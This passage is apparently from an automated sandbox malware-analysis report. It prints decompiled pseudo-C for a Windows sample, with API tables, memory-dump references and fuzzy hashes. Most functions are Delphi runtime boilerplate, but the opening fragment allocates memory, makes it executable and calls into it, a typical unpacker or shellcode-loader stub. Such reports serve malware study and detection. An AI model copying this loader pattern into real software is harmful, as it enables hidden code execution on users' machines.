				void* _t13;

				_t6 = VirtualAlloc(0, 0xf9b9, 0x3000, 4); // executed
				_v8 = _t6;
				E00406978(0xc3);
				VirtualProtect(_v8, 0xf9b9, 0x104,  &_v12); // executed
				_t13 =  *_v8(); // executed
				return _t13;
			}

0x00465d00
0x00465d05
0x00465d12
0x00465d29
0x00465d36
0x00465d3b

APIs

VirtualAlloc.KERNEL32(00000000,0000F9B9,00003000,00000004), ref: 00465D00
VirtualProtect.KERNEL32(?,0000F9B9,00000104,?,00000000,0000F9B9,00003000,00000004), ref: 00465D29

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Virtual$AllocProtect
String ID:
API String ID: 2447062925-0
Opcode ID: 7a8f039779dd233501e5c74457e6b336fa0b2387df8c19413b1bc2663ac11a41
Instruction ID: 26f064d1c976f7583ea63bcd41c6599b9757aad8c6c56e2575de8d754f3a86b9
Opcode Fuzzy Hash: 7a8f039779dd233501e5c74457e6b336fa0b2387df8c19413b1bc2663ac11a41
Instruction Fuzzy Hash: E7E01B71A54208BBEB10D6E59D43F9D73A89700714F200076B754BF6C1DA756F10A7C9

Uniqueness

Uniqueness Score: -1.00%

Function 0043DD3C, Relevance: 1.6, APIs: 1, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0043DD3C(intOrPtr* __eax, signed int* __edx) {
				signed int _v12;
				short _v14;
				char _v16;
				signed int _v20;
				intOrPtr* _v24;
				char _v280;
				signed int _t39;
				signed int _t40;
				signed int _t46;
				intOrPtr* _t47;
				signed int _t50;
				signed int _t53;
				intOrPtr _t55;
				intOrPtr _t56;
				signed int _t67;
				signed int _t68;
				void* _t73;
				signed int* _t79;
				intOrPtr _t90;
				intOrPtr* _t96;

				_t79 = __edx;
				_t96 = __eax;
				if(( *(__eax + 0x1c) & 0x00000010) == 0) {
					L4:
					_t39 =  *_t79;
					if(_t39 < 0x100 || _t39 > 0x108) {
						_t40 =  *_t79;
						__eflags = _t40 - 0x200;
						if(_t40 < 0x200) {
							L30:
							__eflags = _t40 - 0xb00b;
							if(_t40 == 0xb00b) {
								E0043C65C(_t96, _t79[1], _t40, _t79[2]);
							}
							L32:
							return  *((intOrPtr*)( *_t96 - 0x14))();
						}
						__eflags = _t40 - 0x20a;
						if(_t40 > 0x20a) {
							goto L30;
						}
						__eflags =  *(_t96 + 0x50) & 0x00000080;
						if(( *(_t96 + 0x50) & 0x00000080) != 0) {
							L16:
							_t46 =  *_t79 - 0x200;
							__eflags = _t46;
							if(__eflags == 0) {
								L21:
								_t47 =  *0x47e750; // 0x47fbb8
								E0045D378( *_t47, _t79, _t96, __eflags);
								goto L32;
							}
							_t50 = _t46 - 1;
							__eflags = _t50;
							if(_t50 == 0) {
								L22:
								__eflags =  *((char*)(_t96 + 0x5d)) - 1;
								if(__eflags != 0) {
									 *(_t96 + 0x54) =  *(_t96 + 0x54) | 0x00000001;
									goto L32;
								}
								return E0040346C(_t96, __eflags);
							}
							_t53 = _t50 - 1;
							__eflags = _t53;
							if(_t53 == 0) {
								 *(_t96 + 0x54) =  *(_t96 + 0x54) & 0x0000fffe;
								goto L32;
							}
							__eflags = _t53 == 1;
							if(_t53 == 1) {
								goto L22;
							}
							_t55 =  *0x47fb18; // 0x23312f4
							__eflags =  *((char*)(_t55 + 0x20));
							if( *((char*)(_t55 + 0x20)) == 0) {
								goto L32;
							} else {
								_t56 =  *0x47fb18; // 0x23312f4
								__eflags =  *(_t56 + 0x1c);
								if( *(_t56 + 0x1c) == 0) {
									goto L32;
								}
								_t90 =  *0x47fb18; // 0x23312f4
								__eflags =  *_t79 -  *((intOrPtr*)(_t90 + 0x1c));
								if( *_t79 !=  *((intOrPtr*)(_t90 + 0x1c))) {
									goto L32;
								}
								GetKeyboardState( &_v280);
								_v20 =  *_t79;
								_v16 = E00453B10( &_v280);
								_v14 = _t79[1];
								_v12 = _t79[2];
								return E0040346C(_t96, __eflags);
							}
							goto L21;
						}
						_t67 = _t40 - 0x203;
						__eflags = _t67;
						if(_t67 == 0) {
							L15:
							 *_t79 =  *_t79 - 2;
							__eflags =  *_t79;
							goto L16;
						}
						_t68 = _t67 - 3;
						__eflags = _t68;
						if(_t68 == 0) {
							goto L15;
						}
						__eflags = _t68 != 3;
						if(_t68 != 3) {
							goto L16;
						}
						goto L15;
					}
					_v24 = E00453BCC(_t96);
					if(_v24 == 0) {
						goto L32;
					}
					_t73 =  *((intOrPtr*)( *_v24 + 0xf0))();
					if(_t73 == 0) {
						goto L32;
					}
				} else {
					_v24 = E00453BCC(__eax);
					if(_v24 == 0 ||  *((intOrPtr*)(_v24 + 0x250)) == 0) {
						goto L4;
					} else {
						_t73 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v24 + 0x250)))) + 0x24))();
						if(_t73 == 0) {
							goto L4;
						}
					}
				}
				return _t73;
			}

0x0043dd48
0x0043dd4a
0x0043dd50
0x0043dd88
0x0043dd88
0x0043dd8f
0x0043ddc8
0x0043ddca
0x0043ddcf
0x0043dea7
0x0043dea7
0x0043deac
0x0043deb9
0x0043deb9
0x0043debe
0x00000000
0x0043dec4
0x0043ddd5
0x0043ddda
0x00000000
0x00000000
0x0043dde0
0x0043dde4
0x0043ddfa
0x0043ddfc
0x0043ddfc
0x0043de01
0x0043de0e
0x0043de10
0x0043de19
0x00000000
0x0043de19
0x0043de03
0x0043de03
0x0043de04
0x0043de23
0x0043de23
0x0043de27
0x0043de39
0x00000000
0x0043de39
0x00000000
0x0043de2f
0x0043de06
0x0043de06
0x0043de07
0x0043de40
0x00000000
0x0043de40
0x0043de09
0x0043de0a
0x00000000
0x00000000
0x0043de47
0x0043de4c
0x0043de50
0x00000000
0x0043de52
0x0043de52
0x0043de57
0x0043de5b
0x00000000
0x00000000
0x0043de5f
0x0043de65
0x0043de68
0x00000000
0x00000000
0x0043de71
0x0043de78
0x0043de86
0x0043de8d
0x0043de94
0x00000000
0x0043dea0
0x00000000
0x0043de50
0x0043dde6
0x0043dde6
0x0043ddeb
0x0043ddf7
0x0043ddf7
0x0043ddf7
0x00000000
0x0043ddf7
0x0043dded
0x0043dded
0x0043ddf0
0x00000000
0x00000000
0x0043ddf2
0x0043ddf5
0x00000000
0x00000000
0x00000000
0x0043ddf5
0x0043dd9f
0x0043dda6
0x00000000
0x00000000
0x0043ddb5
0x0043ddbd
0x00000000
0x0043ddc3
0x0043dd52
0x0043dd59
0x0043dd60
0x00000000
0x0043dd6e
0x0043dd7d
0x0043dd82
0x00000000
0x00000000
0x0043dd82
0x0043dd60
0x0043decd

APIs

GetKeyboardState.USER32(?), ref: 0043DE71

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: KeyboardState
String ID:
API String ID: 1724228437-0
Opcode ID: 10754ff414d5edb7b2cf5a9f746194c5b7bc1ab9863034ced4b751c705d8355a
Instruction ID: a10c6f322ce6d8cad0948c09caa59449ad67e11ca5d4f4e3cf43c08171c4ced3
Opcode Fuzzy Hash: 10754ff414d5edb7b2cf5a9f746194c5b7bc1ab9863034ced4b751c705d8355a
Instruction Fuzzy Hash: 5D41C030E00A158BCB24DF28E4896AABBB4BF1D704F1411ABD404DF395C778ED85CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 004137F4, Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E004137F4(void* __eax, struct HINSTANCE__* __edx) {
				intOrPtr _v8;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t10;
				intOrPtr _t15;
				struct HINSTANCE__* _t20;
				intOrPtr* _t22;
				intOrPtr _t30;
				void* _t32;
				intOrPtr* _t35;
				intOrPtr _t38;
				intOrPtr _t40;

				_t38 = _t40;
				_push(_t22);
				_t35 = _t22;
				_t20 = __edx;
				_t32 = __eax;
				if(__edx == 0) {
					_t20 =  *0x47f664; // 0x400000
				}
				_t10 = FindResourceA(_t20, E00404480(_t32), 0xa) & 0xffffff00 | _t9 != 0x00000000;
				_t43 = _t10;
				if(_t10 == 0) {
					return _t10;
				} else {
					_v8 = E00416168(_t20, 1, 0xa, _t32);
					_push(_t38);
					_push(0x413868);
					_push( *[fs:eax]);
					 *[fs:eax] = _t40;
					_t15 = E00415C68(_v8, _t20,  *_t35, _t32, _t35, _t43); // executed
					 *_t35 = _t15;
					_pop(_t30);
					 *[fs:eax] = _t30;
					_push(E0041386F);
					return E00403270(_v8);
				}
			}

0x004137f5
0x004137f7
0x004137fb
0x004137fd
0x004137ff
0x00413803
0x00413805
0x00413805
0x0041381d
0x00413820
0x00413822
0x00413876
0x00413824
0x00413835
0x0041383a
0x0041383b
0x00413840
0x00413843
0x0041384b
0x00413850
0x00413854
0x00413857
0x0041385a
0x00413867
0x00413867

APIs

FindResourceA.KERNEL32(?,00000000,0000000A), ref: 00413816

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: FindResource
String ID:
API String ID: 1635176832-0
Opcode ID: 06b606ea7d440b3d76b0ff2b1a38e10df6ed56fb86573e0bd84e123c1bc0ac4d
Instruction ID: d66ed738fd474044963b534f503450ed0444a38a5c42a463aba939c1f693d46f
Opcode Fuzzy Hash: 06b606ea7d440b3d76b0ff2b1a38e10df6ed56fb86573e0bd84e123c1bc0ac4d
Instruction Fuzzy Hash: CC012B71304300AFE710EF2ADC92D9AB7DDEB89714B52407EF504E7351DA79DD018628

Uniqueness

Uniqueness Score: -1.00%

Function 0041E338, Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E0041E338(intOrPtr __eax, intOrPtr __edx) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v48;
				struct _SYSTEM_INFO* _t17;
				unsigned int _t20;
				unsigned int _t22;
				signed int _t31;
				intOrPtr _t33;

				_v12 = __edx;
				_v8 = __eax;
				_t17 =  &_v48;
				GetSystemInfo(_t17); // executed
				_t33 = _v8;
				_t31 = _v12 - 1;
				if(_t31 >= 0) {
					if( *((short*)( &_v48 + 0x20)) == 3) {
						do {
							_t20 =  *(_t33 + _t31 * 4) >> 0x10;
							 *(_t33 + _t31 * 4) = _t20;
							_t31 = _t31 - 1;
						} while (_t31 >= 0);
						return _t20;
					} else {
						goto L2;
					}
					do {
						L2:
						asm("bswap eax");
						_t22 =  *(_t33 + _t31 * 4) >> 8;
						 *(_t33 + _t31 * 4) = _t22;
						_t31 = _t31 - 1;
					} while (_t31 >= 0);
					return _t22;
				}
				return _t17;
			}

0x0041e33e
0x0041e341
0x0041e344
0x0041e348
0x0041e34d
0x0041e353
0x0041e354
0x0041e35e
0x0041e371
0x0041e37a
0x0041e382
0x0041e385
0x0041e385
0x00000000
0x00000000
0x00000000
0x00000000
0x0041e360
0x0041e360
0x0041e363
0x0041e365
0x0041e368
0x0041e36b
0x0041e36b
0x00000000
0x0041e360
0x0041e38c

APIs

GetSystemInfo.KERNEL32(?), ref: 0041E348

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: bc2303efb5405d41ebee6e6473380845442dd245d039e8a23ce258b16a29287c
Instruction ID: 651a7a2a589db75990ce49ff2e3df670e8404dd4de78a8c6ad3d33ae8795a124
Opcode Fuzzy Hash: bc2303efb5405d41ebee6e6473380845442dd245d039e8a23ce258b16a29287c
Instruction Fuzzy Hash: 33F0C279D0010C9BCB10DE99C4848DDF7B4FB56301704429ACC18D7342EB35AA95CB85

Uniqueness

Uniqueness Score: -1.00%

Function 004482AC, Relevance: 1.5, APIs: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E004482AC(void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t6;
				intOrPtr _t8;
				intOrPtr _t10;
				intOrPtr _t12;
				intOrPtr _t14;
				void* _t16;
				void* _t17;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t28;

				_t25 = __esi;
				_t17 = __ecx;
				_push(_t28);
				_push(0x448332);
				_push( *[fs:eax]);
				 *[fs:eax] = _t28;
				 *0x47fb20 =  *0x47fb20 - 1;
				if( *0x47fb20 < 0) {
					 *0x47fb1c = (GetVersion() & 0x000000ff) - 4 >= 0; // executed
					_t31 =  *0x47fb1c;
					E0044805C(_t16, __edi,  *0x47fb1c);
					_t6 =  *0x438300; // 0x43834c
					E00413480(_t6, _t16, _t17,  *0x47fb1c);
					_t8 =  *0x438300; // 0x43834c
					E00413520(_t8, _t16, _t17, _t31);
					_t21 =  *0x438300; // 0x43834c
					_t10 =  *0x449718; // 0x449764
					E004134CC(_t10, _t16, _t21, __esi, _t31);
					_t22 =  *0x438300; // 0x43834c
					_t12 =  *0x44833c; // 0x448388
					E004134CC(_t12, _t16, _t22, __esi, _t31);
					_t23 =  *0x438300; // 0x43834c
					_t14 =  *0x4484a4; // 0x4484f0
					E004134CC(_t14, _t16, _t23, _t25, _t31);
				}
				_pop(_t20);
				 *[fs:eax] = _t20;
				_push(0x448339);
				return 0;
			}

0x004482ac
0x004482ac
0x004482b1
0x004482b2
0x004482b7
0x004482ba
0x004482bd
0x004482c4
0x004482d4
0x004482d4
0x004482db
0x004482e0
0x004482e5
0x004482ea
0x004482ef
0x004482f4
0x004482fa
0x004482ff
0x00448304
0x0044830a
0x0044830f
0x00448314
0x0044831a
0x0044831f
0x0044831f
0x00448326
0x00448329
0x0044832c
0x00448331

APIs

GetVersion.KERNEL32(00000000,00448332), ref: 004482C6

Part of subcall function 0044805C: GetCurrentProcessId.KERNEL32(?,00000000,004481D4), ref: 0044807D
Part of subcall function 0044805C: GlobalAddAtomA.KERNEL32 ref: 004480B0
Part of subcall function 0044805C: GetCurrentThreadId.KERNEL32 ref: 004480CB
Part of subcall function 0044805C: GlobalAddAtomA.KERNEL32 ref: 00448101
Part of subcall function 0044805C: RegisterClipboardFormatA.USER32(00000000), ref: 00448117
Part of subcall function 0044805C: GetModuleHandleA.KERNEL32(USER32,00000000,00000000,?,00000000,?,00000000,004481D4), ref: 0044819B
Part of subcall function 0044805C: GetProcAddress.KERNEL32(00000000,AnimateWindow), ref: 004481AC

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: AtomCurrentGlobal$AddressClipboardFormatHandleModuleProcProcessRegisterThreadVersion
String ID:
API String ID: 3775504709-0
Opcode ID: 845eaab1f5df1eed25a6f0e885e3458abf4817a27294ef3becfe86f1e4c42ea4
Instruction ID: 3612db78f8f93cbb299e7af961b5d969fad7c3426979b3082c55940029aab3a6
Opcode Fuzzy Hash: 845eaab1f5df1eed25a6f0e885e3458abf4817a27294ef3becfe86f1e4c42ea4
Instruction Fuzzy Hash: D9F049782143019FD302EF26EC6289973A4F746F05391543EFC0587763CE3AAC428A8C

Uniqueness

Uniqueness Score: -1.00%

Function 0045BA98, Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0045BA98(intOrPtr _a4) {
				intOrPtr _t26;

				_push( *((intOrPtr*)( *((intOrPtr*)(_a4 - 8)) + 8)));
				_push( *((intOrPtr*)( *((intOrPtr*)(_a4 - 8)) + 4)));
				_push( *((intOrPtr*)( *((intOrPtr*)(_a4 - 8)))));
				_t26 =  *((intOrPtr*)( *((intOrPtr*)(_a4 - 4)) + 0x30));
				_push(_t26); // executed
				L004064DC(); // executed
				 *((intOrPtr*)( *((intOrPtr*)(_a4 - 8)) + 0xc)) = _t26;
				return _t26;
			}

0x0045baa4
0x0045baae
0x0045bab7
0x0045babe
0x0045bac1
0x0045bac2
0x0045bacd
0x0045bad1

APIs

NtdllDefWindowProc_A.USER32(?,?,?,?), ref: 0045BAC2

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 89198f36e9e7c87bb60e1ff2e8907d61e17b7d3ea5eef7f15c2344671a23fa08
Instruction ID: 5f8e897d06537308b70cce02c38dfd6d081c36682dff7988d8c4a71ffc6b34aa
Opcode Fuzzy Hash: 89198f36e9e7c87bb60e1ff2e8907d61e17b7d3ea5eef7f15c2344671a23fa08
Instruction Fuzzy Hash: DCF0C579605608AFCB40DF9DC588D4AFBE8BB4C260B058195B988CB322C234FD81CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0044805C, Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 103
registrylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E0044805C(void* __ebx, void* __edi, void* __eflags) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				long _v28;
				char _v32;
				char _v36;
				intOrPtr _t25;
				char _t29;
				intOrPtr _t35;
				intOrPtr _t38;
				intOrPtr _t47;
				intOrPtr _t49;
				intOrPtr* _t50;
				intOrPtr _t53;
				struct HINSTANCE__* _t63;
				intOrPtr* _t78;
				intOrPtr* _t80;
				intOrPtr _t83;
				void* _t87;

				_v20 = 0;
				_v8 = 0;
				_push(_t87);
				_push(0x4481d4);
				_push( *[fs:eax]);
				 *[fs:eax] = _t87 + 0xffffffe0;
				_v16 = GetCurrentProcessId();
				_v12 = 0;
				E00408D58("Delphi%.8X", 0,  &_v16,  &_v8);
				E00404014(0x47fb28, _v8);
				_t25 =  *0x47fb28; // 0x2331290
				 *0x47fb24 = GlobalAddAtomA(E00404480(_t25));
				_t29 =  *0x47f664; // 0x400000
				_v36 = _t29;
				_v32 = 0;
				_v28 = GetCurrentThreadId();
				_v24 = 0;
				E00408D58("ControlOfs%.8X%.8X", 1,  &_v36,  &_v20);
				E00404014(0x47fb2c, _v20);
				_t35 =  *0x47fb2c; // 0x23312ac
				 *0x47fb26 = GlobalAddAtomA(E00404480(_t35));
				_t38 =  *0x47fb2c; // 0x23312ac
				 *0x47fb30 = RegisterClipboardFormatA(E00404480(_t38));
				 *0x47fb68 = E00413E94(1);
				E00447C60();
				 *0x47fb18 = E00447A88(1, 1);
				_t47 = E0045A1B4(1, __edi);
				_t78 =  *0x47e904; // 0x47fbbc
				 *_t78 = _t47;
				_t49 = E0045B298(0, 1);
				_t80 =  *0x47e750; // 0x47fbb8
				 *_t80 = _t49;
				_t50 =  *0x47e750; // 0x47fbb8
				E0045CE80( *_t50, 1);
				_t53 =  *0x4372d8; // 0x4372dc
				E0041360C(_t53, 0x439b68, 0x439b78);
				_t63 = GetModuleHandleA("USER32");
				if(_t63 != 0) {
					 *0x467b40 = GetProcAddress(_t63, "AnimateWindow");
				}
				_pop(_t83);
				 *[fs:eax] = _t83;
				_push(0x4481db);
				E00403FC0( &_v20);
				return E00403FC0( &_v8);
			}

0x00448065
0x00448068
0x0044806d
0x0044806e
0x00448073
0x00448076
0x00448082
0x00448085
0x00448093
0x004480a0
0x004480a5
0x004480b5
0x004480bf
0x004480c4
0x004480c7
0x004480d0
0x004480d3
0x004480e4
0x004480f1
0x004480f6
0x00448106
0x0044810c
0x0044811c
0x0044812d
0x00448132
0x00448143
0x00448151
0x00448156
0x0044815c
0x00448167
0x0044816c
0x00448172
0x00448174
0x0044817d
0x0044818c
0x00448191
0x004481a0
0x004481a4
0x004481b1
0x004481b1
0x004481b8
0x004481bb
0x004481be
0x004481c6
0x004481d3

APIs

GetCurrentProcessId.KERNEL32(?,00000000,004481D4), ref: 0044807D
GlobalAddAtomA.KERNEL32 ref: 004480B0
GetCurrentThreadId.KERNEL32 ref: 004480CB
GlobalAddAtomA.KERNEL32 ref: 00448101
RegisterClipboardFormatA.USER32(00000000), ref: 00448117

Part of subcall function 00413E94: RtlInitializeCriticalSection.KERNEL32(00411994,?,?,0041A9C5,00000000,0041A9E9), ref: 00413EB3

Part of subcall function 00447C60: SetErrorMode.KERNEL32(00008000), ref: 00447C79
Part of subcall function 00447C60: GetModuleHandleA.KERNEL32(USER32,00000000,00447DC6,?,00008000), ref: 00447C9D
Part of subcall function 00447C60: GetProcAddress.KERNEL32(00000000,WINNLSEnableIME), ref: 00447CAA
Part of subcall function 00447C60: LoadLibraryA.KERNEL32(imm32.dll,00000000,00447DC6,?,00008000), ref: 00447CC6
Part of subcall function 00447C60: GetProcAddress.KERNEL32(00000000,ImmGetContext), ref: 00447CE8
Part of subcall function 00447C60: GetProcAddress.KERNEL32(00000000,ImmReleaseContext), ref: 00447CFD
Part of subcall function 00447C60: GetProcAddress.KERNEL32(00000000,ImmGetConversionStatus), ref: 00447D12
Part of subcall function 00447C60: GetProcAddress.KERNEL32(00000000,ImmSetConversionStatus), ref: 00447D27
Part of subcall function 00447C60: GetProcAddress.KERNEL32(00000000,ImmSetOpenStatus), ref: 00447D3C
Part of subcall function 00447C60: GetProcAddress.KERNEL32(00000000,ImmSetCompositionWindow), ref: 00447D51
Part of subcall function 00447C60: GetProcAddress.KERNEL32(00000000,ImmSetCompositionFontA), ref: 00447D66
Part of subcall function 00447C60: GetProcAddress.KERNEL32(00000000,ImmGetCompositionStringA), ref: 00447D7B
Part of subcall function 00447C60: GetProcAddress.KERNEL32(00000000,ImmIsIME), ref: 00447D90
Part of subcall function 00447C60: GetProcAddress.KERNEL32(00000000,ImmNotifyIME), ref: 00447DA5
Part of subcall function 00447C60: SetErrorMode.KERNEL32(?,00447DCD,00008000), ref: 00447DC0

Part of subcall function 0045A1B4: GetKeyboardLayout.USER32 ref: 0045A1F9
Part of subcall function 0045A1B4: 739EAC50.USER32(00000000,00000000,?,?,00000000,?,00448156,00000000,00000000,?,00000000,?,00000000,004481D4), ref: 0045A24E
Part of subcall function 0045A1B4: 739EAD70.GDI32(00000000,0000005A,00000000,00000000,?,?,00000000,?,00448156,00000000,00000000,?,00000000,?,00000000,004481D4), ref: 0045A258
Part of subcall function 0045A1B4: 739EB380.USER32(00000000,00000000,00000000,0000005A,00000000,00000000,?,?,00000000,?,00448156,00000000,00000000,?,00000000,?), ref: 0045A263

Part of subcall function 0045B298: LoadIconA.USER32(00400000,MAINICON), ref: 0045B37D
Part of subcall function 0045B298: GetModuleFileNameA.KERNEL32(00400000,?,00000100,?,?,?,0044816C,00000000,00000000,?,00000000,?,00000000,004481D4), ref: 0045B3AF
Part of subcall function 0045B298: OemToCharA.USER32 ref: 0045B3C2
Part of subcall function 0045B298: CharLowerA.USER32(?,?,?,00400000,?,00000100,?,?,?,0044816C,00000000,00000000,?,00000000,?,00000000), ref: 0045B402

GetModuleHandleA.KERNEL32(USER32,00000000,00000000,?,00000000,?,00000000,004481D4), ref: 0044819B
GetProcAddress.KERNEL32(00000000,AnimateWindow), ref: 004481AC

Strings

USER32, xrefs: 00448196
,4E, xrefs: 0044814C
ControlOfs%.8X%.8X, xrefs: 004480DF
Delphi%.8X, xrefs: 0044808E
AnimateWindow, xrefs: 004481A6

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: AddressProc$Module$AtomCharCurrentErrorGlobalHandleLoadMode$B380ClipboardCriticalFileFormatIconInitializeKeyboardLayoutLibraryLowerNameProcessRegisterSectionThread
String ID: ,4E$AnimateWindow$ControlOfs%.8X%.8X$Delphi%.8X$USER32
API String ID: 2159221912-606499734
Opcode ID: ba51a3e0acea7f87fc835a6c4448cead660053dea2fea1c8f15f907c85a79c01
Instruction ID: 7e0d478457ea534e7d4f96684193979bdb89c206f007335317500a9d92f69577
Opcode Fuzzy Hash: ba51a3e0acea7f87fc835a6c4448cead660053dea2fea1c8f15f907c85a79c01
Instruction Fuzzy Hash: 8C416E709142058BDB00EFB5DC92A8E77B4FB49308B11457FE504E73A2DB39A948CB5C

Uniqueness

Uniqueness Score: -1.00%

Function 0045B5A0, Relevance: 13.6, APIs: 9, Instructions: 132
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E0045B5A0(void* __eax, void* __ebx, void* __ecx) {
				struct _WNDCLASSA _v44;
				char _v48;
				char* _t22;
				long _t23;
				CHAR* _t26;
				struct HINSTANCE__* _t27;
				intOrPtr* _t29;
				signed int _t32;
				intOrPtr* _t33;
				signed int _t36;
				struct HINSTANCE__* _t37;
				void* _t39;
				CHAR* _t40;
				struct HWND__* _t41;
				char* _t47;
				char* _t52;
				long _t55;
				long _t59;
				struct HINSTANCE__* _t62;
				intOrPtr _t64;
				void* _t69;
				struct HMENU__* _t70;
				intOrPtr _t77;
				void* _t83;
				short _t88;

				_v48 = 0;
				_t69 = __eax;
				_push(_t83);
				_push(0x45b741);
				_push( *[fs:eax]);
				 *[fs:eax] = _t83 + 0xffffffd4;
				if( *((char*)(__eax + 0xa4)) != 0) {
					L13:
					_pop(_t77);
					 *[fs:eax] = _t77;
					_push(0x45b748);
					return E00403FC0( &_v48);
				}
				_t22 =  *0x47e7d4; // 0x47f048
				if( *_t22 != 0) {
					goto L13;
				}
				_t23 = E0041A718(E0045BB20, __eax); // executed
				 *(_t69 + 0x40) = _t23;
				 *0x467e78 = L004064DC;
				_t26 =  *0x467e98; // 0x45b288
				_t27 =  *0x47f664; // 0x400000
				if(GetClassInfoA(_t27, _t26,  &_v44) == 0) {
					_t62 =  *0x47f664; // 0x400000
					 *0x467e84 = _t62;
					_t88 = RegisterClassA(0x467e74);
					if(_t88 == 0) {
						_t64 =  *0x47e49c; // 0x41aa74
